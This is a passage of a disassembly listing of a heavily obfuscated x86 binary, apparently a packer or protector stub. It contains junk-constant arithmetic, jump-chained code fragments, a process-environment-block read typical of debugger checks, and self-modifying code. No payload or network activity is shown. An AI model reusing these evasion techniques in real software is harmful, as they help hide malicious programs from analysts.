loc_42CE5A:				; CODE XREF: sub_42EF91:loc_427E3Fj
		jnz	loc_424D79
		jmp	loc_42CD8A
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
		mov	ecx, [edi]
		jmp	loc_42DD71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F02


loc_42CE6C:				; CODE XREF: sub_423F02:loc_42311Ej
		jnp	loc_428B89
		sub	edi, 9E52B43Ah
		jmp	loc_423C06
; END OF FUNCTION CHUNK	FOR sub_423F02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA3D


loc_42CE7D:				; CODE XREF: sub_42FA3D:loc_42BB0Aj
		and	eax, 0D65C675h
		add	eax, 8FE0A15Dh
		add	eax, ebp
		push	offset sub_42BE29
		jmp	nullsub_148
; END OF FUNCTION CHUNK	FOR sub_42FA3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_42CE95:				; CODE XREF: sub_42BB83-7BCAj
		xchg	edi, eax
		push	edi
		jmp	loc_424EAC
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------


loc_42CE9D:				; DATA XREF: sub_427D3A-3324o
		mov	[ebx], eax
		pop	ebx
		push	esi
		pushf
		push	1F321AF0h
		pop	esi
		xor	esi, 9B288B30h
		and	esi, 0D48A4A7Fh
		jmp	loc_429BB2
; ---------------------------------------------------------------------------
		and	ebx, esi
		sub	edi, 7716ADF3h
		jmp	sub_427DDA
; ---------------------------------------------------------------------------


loc_42CEC6:				; DATA XREF: sub_426BF7+64E3o
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_42A5DD
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jmp	loc_429352
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_42CEE2:				; CODE XREF: sub_42AA9B+428Aj
		mov	ebp, ebx
		xchg	ebp, [esp+0Ch+var_C]
		push	15C61E21h
		call	sub_427D3A


loc_42CEF1:				; CODE XREF: sub_42BE29-189Bj
		jmp	loc_425411
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------


loc_42CEF6:				; CODE XREF: _7hdaygc1:00428AB7j
		jmp	loc_42DA27
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266F8


loc_42CEFC:				; CODE XREF: sub_4266F8:loc_424733j
		push	50CF2C1Ah
		pop	eax
		sub	eax, 0A3C858CBh
		add	eax, 533B85EBh
; END OF FUNCTION CHUNK	FOR sub_4266F8
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42CF0E:				; CODE XREF: sub_423DDB+B982j
		xchg	eax, [esp+0]
		jmp	loc_42E819
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_42CF16:				; CODE XREF: sub_425C3B+3F7Dj
		jz	loc_42A919
		mov	ecx, esi
		adc	ebp, edx
		mov	ecx, 6DE502B0h
		jmp	loc_42A911
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42CF2A:				; CODE XREF: sub_424F62+988Ej
		jz	loc_42C4D9


loc_42CF30:				; CODE XREF: sub_424F62:loc_42AC5Bj
		rol	eax, 0Eh
		xor	eax, 99932093h
		cpuid
		jmp	loc_42A6F3
; END OF FUNCTION CHUNK	FOR sub_424F62
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428498


loc_42CF41:				; CODE XREF: sub_428498+17j
		jnz	loc_42DF67
		jmp	loc_426C40
; END OF FUNCTION CHUNK	FOR sub_428498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_42CF4C:				; CODE XREF: sub_42524F+8425j
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
		push	eax
		push	0C30E33D8h
		jmp	loc_42907C
; END OF FUNCTION CHUNK	FOR sub_42524F
; ---------------------------------------------------------------------------


loc_42CF60:				; CODE XREF: _7hdaygc1:00428186j
		jge	loc_42F17A
		shr	edx, 6
		cdq
		jmp	loc_4281EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42CF6F:				; CODE XREF: sub_42C443:loc_425687j
		sbb	edx, 384BDDCCh
		jge	loc_42A9D3
		shr	ebp, 1Ch
		cmp	edi, 56005127h
		jmp	loc_42CDC2
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269CB


loc_42CF89:				; CODE XREF: sub_4269CB:loc_424BE1j
		and	ecx, eax
		mov	ebx, edi
		jmp	loc_426174
; END OF FUNCTION CHUNK	FOR sub_4269CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42CF92:				; CODE XREF: sub_42C443-10D3j
		sbb	esi, 91B59BDAh


loc_42CF98:				; CODE XREF: _7hdaygc1:loc_423223j
		cmp	ebx, 69727943h
		jnz	loc_42E845
		jmp	loc_42BF45
; ---------------------------------------------------------------------------


loc_42CFA9:				; CODE XREF: sub_42C443:loc_42876Aj
		push	offset loc_42998B
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42CFB3:				; CODE XREF: sub_423172+ABj
					; sub_423172+BF1Ej
		xor	esi, 825C5F1Ch
		and	esi, 7E7E1117h
		add	esi, 810A3E9Bh
		xor	esi, 7F0A95DFh
		add	eax, esi
		pop	esi


loc_42CFCE:				; CODE XREF: _7hdaygc1:loc_4268D2j
		mov	eax, [eax]
		mov	ecx, 0Ah
		jmp	loc_425F3A
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_42CFDA	proc near		; CODE XREF: sub_42CCFE-3DC6p
					; _7hdaygc1:0042C257j

; FUNCTION CHUNK AT 00423AA9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424850 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426DB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428A9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429571 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004296A7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004298CA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00429E58 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042AC6E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042C6C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FC1D SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_42C6C5
sub_42CFDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	edx, 0B00C85CDh
		sub	esi, edx
		jmp	sub_4272FB
; ---------------------------------------------------------------------------


loc_42CFF7:				; CODE XREF: _7hdaygc1:004250FDj
		jnz	loc_42EF26
		jmp	loc_42E418

; =============== S U B	R O U T	I N E =======================================



sub_42D002	proc near		; CODE XREF: _7hdaygc1:0042F33Bj
					; sub_4291EA+67D4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423B8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423EB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424176 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004249B6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00425C4F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042651E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004283FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D5B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042B2C9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042DE81 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E233 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF0B SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edi, [esp-4+arg_0]
		call	sub_42BD03


loc_42D00E:				; CODE XREF: sub_42986C-65DAj
		jl	loc_426524
		xchg	edx, ebp
		jmp	loc_425C4F
sub_42D002	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42D01B	proc near		; CODE XREF: _7hdaygc1:loc_428DA3p
					; _7hdaygc1:0042C49Dj

; FUNCTION CHUNK AT 00427C88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D81F SIZE 0000000E BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebx
		push	2F61534Ah
		pop	ebx
		xor	ebx, 9912CF66h
		jmp	loc_427C88
sub_42D01B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42D031	proc near		; CODE XREF: sub_425D3F+7p
					; _7hdaygc1:0042702Fj
		xchg	esi, [esp+0]
		pop	esi
		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		push	offset sub_42F042
		jmp	nullsub_53
sub_42D031	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42D045:				; CODE XREF: sub_42C16F-67D8j
		ror	eax, 1Eh
		pushf
		jmp	loc_424906
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_42D04E:				; CODE XREF: _7hdaygc1:0042FB60j
		ja	nullsub_177

; =============== S U B	R O U T	I N E =======================================



sub_42D054	proc near		; CODE XREF: sub_42F042+2p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebp, [esp-4+arg_0]
		retn
sub_42D054	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D48F


loc_42D05C:				; CODE XREF: sub_42D48F+17j
		jmp	loc_4238C5
; END OF FUNCTION CHUNK	FOR sub_42D48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42D061:				; CODE XREF: sub_42F65A-4EEAj
		jmp	loc_42DB65
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_42D066:				; CODE XREF: sub_42B74A-725Dj
		jmp	loc_426FDB
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------

locret_42D06B:				; CODE XREF: _7hdaygc1:004247DEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_42D06C:				; CODE XREF: sub_4270E6-2B45j
		jmp	loc_42516A
; END OF FUNCTION CHUNK	FOR sub_4270E6
; ---------------------------------------------------------------------------


loc_42D071:				; CODE XREF: _7hdaygc1:004293A2j
		mov	edi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_42D073	proc near		; CODE XREF: sub_42F9D2-C121p

; FUNCTION CHUNK AT 004238B6 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx


loc_42D07D:				; CODE XREF: sub_425735:loc_42B7FBj
		jz	loc_427E44
		mov	ebx, [ebx+ecx]
		call	sub_42B9E1
		jmp	loc_4238B6
sub_42D073	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42D090:				; CODE XREF: _7hdaygc1:0042A30Aj
		mov	edx, [ebp-4]
		call	sub_4291CE
		push	offset sub_42874A
		jmp	loc_4262B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF77


loc_42D0A2:				; CODE XREF: sub_42EF77+Fj
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-1Ch]
		jmp	loc_42FC90
; END OF FUNCTION CHUNK	FOR sub_42EF77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42525E


loc_42D0B0:				; CODE XREF: sub_42525E+4j
		inc	dword ptr [ebp-1Ch]
		jmp	loc_423DA9
; END OF FUNCTION CHUNK	FOR sub_42525E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42D0B8:				; CODE XREF: sub_424963+BF3j
					; sub_424963+7432j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-24h]
		jnz	loc_42D532
		jmp	loc_42B644
; END OF FUNCTION CHUNK	FOR sub_424963
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42D0CA:				; CODE XREF: sub_426130+7278j
		jmp	loc_42C46C
; END OF FUNCTION CHUNK	FOR sub_426130
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_42D0D0:				; CODE XREF: sub_4268D9+Dj
		jmp	loc_42C09D
; END OF FUNCTION CHUNK	FOR sub_4268D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426BF7


loc_42D0D5:				; CODE XREF: sub_42C119-4395j
					; sub_426BF7+5B92j
		mov	eax, [ebp-4]
		mov	al, [eax]
		push	offset loc_42CEC6
		jmp	loc_4258B4
; END OF FUNCTION CHUNK	FOR sub_426BF7
; ---------------------------------------------------------------------------


loc_42D0E4:				; CODE XREF: _7hdaygc1:00429067j
		and	ecx, eax
		jnp	loc_429EED
		jmp	loc_42B891
; ---------------------------------------------------------------------------
		push	offset sub_42B907
		jmp	loc_42BDFD

; =============== S U B	R O U T	I N E =======================================



sub_42D0FB	proc near		; CODE XREF: _7hdaygc1:00424D4Fj
					; sub_423648+9403p

; FUNCTION CHUNK AT 0042F127 SIZE 00000015 BYTES

		xchg	eax, [esp+0]
		pop	eax
		movzx	edx, byte ptr [edx]
		or	eax, edx
		mov	[ebp-1Ch], eax
		jmp	loc_42F127
sub_42D0FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42D10C:				; CODE XREF: sub_423648+219Cj
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax


loc_42D112:				; CODE XREF: sub_423648:loc_426E7Bj
					; _7hdaygc1:00427181j ...
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		jmp	loc_42FB1C
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42D11D:				; CODE XREF: sub_424AE1:loc_42990Aj
		mov	eax, 7603EAC4h
		jmp	loc_425FAD
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------

locret_42D127:				; CODE XREF: _7hdaygc1:00426F41j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A401


loc_42D128:				; CODE XREF: sub_42A401+16j
		jmp	loc_42D24D
; END OF FUNCTION CHUNK	FOR sub_42A401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_42D12D:				; CODE XREF: sub_42C209:loc_429244j
		ror	edi, 12h
		not	ebp
		add	ebp, 0CE4312D7h
		sbb	eax, 0E6666ED6h
		jmp	loc_428DC3
; END OF FUNCTION CHUNK	FOR sub_42C209
; ---------------------------------------------------------------------------


loc_42D143:				; CODE XREF: _7hdaygc1:loc_4288F9j
		push	esi
		mov	esi, eax


loc_42D146:				; CODE XREF: _7hdaygc1:004247E5j
		xchg	esi, [esp]
		mov	eax, [ebp-5Ch]
		jmp	loc_429D10
; ---------------------------------------------------------------------------
		add	eax, edx
		jmp	sub_426F53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42D158:				; CODE XREF: sub_42C16F-827Aj
		mov	eax, [eax]
		shl	eax, 3
		push	97B1B9D0h
		xchg	ecx, [esp+4+var_4]
		mov	edx, ecx
		pop	ecx
		jmp	loc_4280CA
; END OF FUNCTION CHUNK	FOR sub_42C16F

; =============== S U B	R O U T	I N E =======================================



sub_42D16D	proc near		; CODE XREF: _7hdaygc1:00425830j
					; sub_424B63+21DEp

; FUNCTION CHUNK AT 0042F9E5 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_42C78F
		jmp	loc_42F9E5
sub_42D16D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_42D183:				; CODE XREF: sub_42BAE7:loc_426A58j
		test	ecx, 4000h
		jmp	loc_423123
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
		xchg	edx, ebx
		jmp	sub_42809F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42D195:				; CODE XREF: sub_423DFC:loc_42DDABj
		sbb	ecx, eax
		sub	ebx, 2229AF9Fh
		popf
		push	7416A041h
		adc	ecx, 0C03A8A29h
		jmp	loc_4269F4
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------


loc_42D1AE:				; CODE XREF: _7hdaygc1:loc_428D85j
		push	offset loc_426838
		jmp	locret_42DC30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42581B


loc_42D1B8:				; CODE XREF: sub_42581B+Aj
		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		jnz	loc_42619E
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		jmp	loc_424814
; END OF FUNCTION CHUNK	FOR sub_42581B
; ---------------------------------------------------------------------------
		xchg	ebp, [esi]
		jmp	sub_42681B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428613


loc_42D1E2:				; CODE XREF: sub_428613:loc_42C14Ej
		push	1F18A519h
		pop	edx
		rol	edx, 1Ah
		xor	edx, 0D45C52FFh
		rol	edx, 12h
		jmp	loc_423864
; END OF FUNCTION CHUNK	FOR sub_428613
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42D1F9:				; CODE XREF: sub_42DD73-2E38j
		jbe	loc_425869


loc_42D1FF:				; CODE XREF: sub_42DD73:loc_42AC22j
		add	edx, 5AAAC43Fh
		and	edx, 95F3243Dh
		xor	edx, 671410C8h
		jmp	loc_423F49
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42742E


loc_42D216:				; CODE XREF: sub_42742E+Cj
					; sub_424755+689Ej
		rol	eax, 0Eh
		push	eax
		call	sub_42B650
		retn
; END OF FUNCTION CHUNK	FOR sub_42742E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282A9


loc_42D220:				; CODE XREF: sub_4282A9+12j
		jmp	loc_42FACE
; END OF FUNCTION CHUNK	FOR sub_4282A9
; ---------------------------------------------------------------------------


loc_42D225:				; CODE XREF: _7hdaygc1:0042A56Cj
		mov	eax, [ebp-38h]
		call	sub_4289CE
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42D22D:				; CODE XREF: sub_4253A0+155Dj
		jmp	loc_42AEA7
; END OF FUNCTION CHUNK	FOR sub_4253A0

; =============== S U B	R O U T	I N E =======================================



sub_42D232	proc near		; CODE XREF: _7hdaygc1:00429941j
					; sub_42AA47+CAFp

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		add	edx, 5F629FD9h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_42C1AF
sub_42D232	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42D244:				; CODE XREF: _7hdaygc1:0042B27Bj
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_42D245	proc near		; CODE XREF: sub_4237DA+A036p

; FUNCTION CHUNK AT 00429B19 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042A6B8 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		shl	dword ptr [ebp-8], 8


loc_42D24D:				; CODE XREF: sub_42A401:loc_42D128j
					; sub_42D744+3j
		jb	loc_42A6B8
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jmp	loc_42C2F6
sub_42D245	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42D25E:				; CODE XREF: _7hdaygc1:loc_42965Aj
		retn
; ---------------------------------------------------------------------------


loc_42D25F:				; DATA XREF: sub_424963:loc_429BA3o
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		jmp	loc_4285D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_42D26D:				; CODE XREF: sub_4291A3:loc_42E1ECj
		pushf
		push	offset loc_42E2CE
		jmp	loc_427E22
; END OF FUNCTION CHUNK	FOR sub_4291A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ABF7


loc_42D278:				; CODE XREF: sub_42ABF7:loc_42FD9Fj
					; DATA XREF: sub_42655C:loc_425A20o
		adc	edx, [esp+arg_0]
; END OF FUNCTION CHUNK	FOR sub_42ABF7
; START	OF FUNCTION CHUNK FOR sub_42CB85


loc_42D27C:				; CODE XREF: sub_42CB85:loc_42CB91j
		add	esp, 8
		mov	[ebp-4], eax
		jmp	loc_42ECBB
; END OF FUNCTION CHUNK	FOR sub_42CB85

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D287	proc near		; CODE XREF: sub_424B63+21D9p
					; sub_424B63+9F88p

; FUNCTION CHUNK AT 00425D50 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		jmp	loc_425D50
sub_42D287	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42D292:				; CODE XREF: sub_42EBD6-8320j
		mov	eax, [ecx]


loc_42D294:				; CODE XREF: sub_42EBD6:loc_42FBECj
		cmp	ebx, 69727943h
		jnz	loc_426F9F
		jmp	loc_42847A
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42450E


loc_42D2A5:				; CODE XREF: sub_42450E:loc_42F460j
		call	sub_428A2D


loc_42D2AA:				; DATA XREF: sub_42F979+Do
		cmp	dword ptr [ebp-8], 0
		jbe	loc_424FD0
		jmp	loc_426104
; END OF FUNCTION CHUNK	FOR sub_42450E
; ---------------------------------------------------------------------------
		dec	eax
		mov	edx, ds:dword_42BC58


loc_42D2C0:				; CODE XREF: _7hdaygc1:loc_42DC63j
		mov	[edx], eax
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_42D2C2:				; CODE XREF: _7hdaygc1:00423A24j
					; sub_42AA9B:loc_429A1Bj
		push	offset loc_426DA8
		jmp	loc_42A653
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42986C


loc_42D2CC:				; CODE XREF: sub_42986C+6F2j
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_429873
		retn
; END OF FUNCTION CHUNK	FOR sub_42986C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42D2D8:				; CODE XREF: sub_42C443-61EEj
		jmp	loc_42642A
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42450E


loc_42D2DD:				; CODE XREF: sub_42450E+AC8j
		jmp	loc_4287C8
; END OF FUNCTION CHUNK	FOR sub_42450E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42D2E2:				; CODE XREF: sub_423648+596j
		jmp	loc_42FA7C
; END OF FUNCTION CHUNK	FOR sub_423648

; =============== S U B	R O U T	I N E =======================================



sub_42D2E7	proc near		; CODE XREF: sub_425BFC+693Ap
		push	ebx
		push	ecx
		mov	eax, large fs:30h
		push	offset loc_42486A
		jmp	nullsub_58
sub_42D2E7	endp

; ---------------------------------------------------------------------------
		jno	loc_42BE0C
		add	ebx, eax
		mov	eax, ds:dword_42BC58
		mov	[eax], ebx
		jmp	loc_42EEB2

; =============== S U B	R O U T	I N E =======================================



sub_42D30E	proc near		; CODE XREF: sub_4290DB+3j

; FUNCTION CHUNK AT 00425691 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004283BA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042CA1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EAB0 SIZE 00000019 BYTES

		add	esp, 0FFFFFFA0h
		lea	eax, sub_4290DB
		mov	[ebp-8], eax
		push	1Ch
		lea	eax, [ebp-60h]
		push	edi
		mov	edi, eax
		jmp	loc_425691
sub_42D30E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shr	edi, 18h
		jmp	sub_42DEA0
; ---------------------------------------------------------------------------


loc_42D32F:				; DATA XREF: _7hdaygc1:00425B2Bo
		xchg	edi, [esp]
		jmp	loc_42DE41
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_42D338:				; CODE XREF: sub_42874A:loc_42676Ej
		and	esi, 85AED504h
		add	esi, 0FABE60E9h
		xchg	esi, [esp+0]
		jmp	sub_42B32F
; END OF FUNCTION CHUNK	FOR sub_42874A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_42D34C:				; CODE XREF: sub_42B74A:loc_4246ABj
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		call	sub_42B470
		jmp	loc_427CC1
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42D35C:				; CODE XREF: sub_425E64:loc_424B82j
					; sub_425E64+9AAAj
		push	6176C855h
		pop	eax
		sub	eax, 9946FAFBh
		jnz	loc_42DAA4


loc_42D36E:				; CODE XREF: sub_423752+5D02j
		jmp	loc_42DB23
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
		cdq
		jle	loc_427CD2
		jmp	loc_42DA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42D37F:				; CODE XREF: sub_426130+7E83j
		push	offset sub_424E42
		jmp	loc_42978D
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F02


loc_42D389:				; CODE XREF: sub_423F02-DC3j
		jz	sub_423C08
		jmp	loc_42311E
; END OF FUNCTION CHUNK	FOR sub_423F02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB61


loc_42D394:				; CODE XREF: sub_42BB61:loc_42F996j
		xchg	edx, [esp+4+var_4]
		jmp	loc_426FAA
; END OF FUNCTION CHUNK	FOR sub_42BB61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42D39C:				; CODE XREF: sub_426130:loc_4288F4j
		sub	edx, 107B0B1h
		test	edx, 4000h
		jmp	loc_42D0CA
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEC6


loc_42D3AD:				; CODE XREF: sub_42BEC6:loc_4237C4j
		jnz	loc_425909
		adc	ebx, edi
		jmp	loc_42968C
; END OF FUNCTION CHUNK	FOR sub_42BEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42D3BA:				; CODE XREF: sub_42DD73-A5F3j
		sub	ebx, 0E09DFC90h
		test	ecx, edi
		jmp	loc_4273F4
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_42D3C7:				; CODE XREF: sub_424963+9F34j
		adc	ebp, eax
		jg	loc_42C1B9
		popf
		mov	[esi], ebx


loc_42D3D2:				; CODE XREF: sub_424963:loc_42D543j
		mov	eax, offset dword_42E198
		push	0FF52DE5Eh
		pop	edx
		and	edx, ds:4000F3h
		jmp	loc_42B40B
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_42D3E8:				; CODE XREF: sub_4232C2+AF9Ej
		pop	ecx
		or	ebp, esi
		sub	ebp, eax
		jmp	loc_42E676
; END OF FUNCTION CHUNK	FOR sub_4232C2

; =============== S U B	R O U T	I N E =======================================



sub_42D3F2	proc near		; DATA XREF: sub_42936E+377o

; FUNCTION CHUNK AT 004233F6 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		call	sub_423410
		mov	al, 1
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		call	edx
		xor	eax, eax
